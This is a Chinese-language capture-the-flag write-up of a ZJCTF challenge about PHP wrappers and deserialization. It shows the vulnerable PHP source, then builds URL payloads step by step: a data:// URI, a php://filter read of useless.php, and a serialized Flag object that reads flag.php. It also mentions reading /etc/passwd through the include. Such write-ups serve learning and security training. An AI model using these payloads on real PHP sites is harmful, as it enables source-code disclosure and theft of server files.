知识点:
1:data://协议
2:php://协议
php://filter用于读取源码
php://input用于执行php代码
注:php伪协议参考链接:https://www.cnblogs.com/SpouseLJ/articles/13225592.html
3:反序列化
解题思路:
打开题目我们可以看到源码~源码如下↓
1 <?php 2 $text = $_GET["text"]; 3 $file = $_GET["file"]; 4 $password = $_GET["password"]; 5 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 6 //判断$text变量是否存在并判断"welcome to the zjctf"是否被写入 8 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 9 //如果满足条件输出写入的内容 11 if(preg_match("/flag/",$file)){ //不给你看flag 12 echo "Not now!"; 13 exit(); 14 }else{ 15 include($file); //useless.php //题目源码注释 17 //文件包含,提示我们查看userless.php 18 $password = unserialize($password); //反序列化$password 19 echo $password; 20 } 21 } 22 else{ 23 highlight_file(__FILE__); 24 } 25 ?>
思路一:
1 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这段代码的意思是判断$text变量是否存在并判断"welcome to the zjctf"是否被写入,这里我们利用PHP伪协议中的data协议,data协议通常是用来执行PHP代码。
本题例子:将代码中的字符串内容welcome to the zjctf写入data协议中让file_get_contents函数来读取,URL构造如下↓
1 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 2 ?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。URL构造如下↓
1 ?text=data://text/plain,welcome to the zjctf 2 ?text=data:text/plain,welcome to the zjctf
思路二
1 echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 2 if(preg_match("/flag/",$file)){ 3 echo "Not now!"; 4 exit(); 5 }else{ 6 include($file); 7 $password = unserialize($password); 8 echo $password; 9 } 10 } 11 else{ 12 highlight_file(__FILE__); 13 } 14 ?>
这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:file=useless.php
所以下面采用php伪协议中php协议的php://filter来读源码。URL构造如下↓
1 ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
读到的useless.php内容base64编码
源码如下↓
1 <?php 2 class Flag{ //flag.php 3 public $file; 4 public function __tostring(){ 5 if(isset($this->file)){ 6 echo file_get_contents($this->file); 7 echo "<br>"; 8 return ("U R SO CLOSE !///COME ON PLZ"); 9 } 10 } 11 } 12 ?>
思路三
1 $password = $_GET["password"]; 2 include($file); //useless.php 3 $password = unserialize($password); 4 echo $password;
这段源码里的file是可控的,所以在本地测试后有执行下面代码即可出现payload:
输出:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} ----->URL编码后---->O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
最后得URL构造如下↓
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
查看源码得出flag
本章知识点参考链接URL如下↓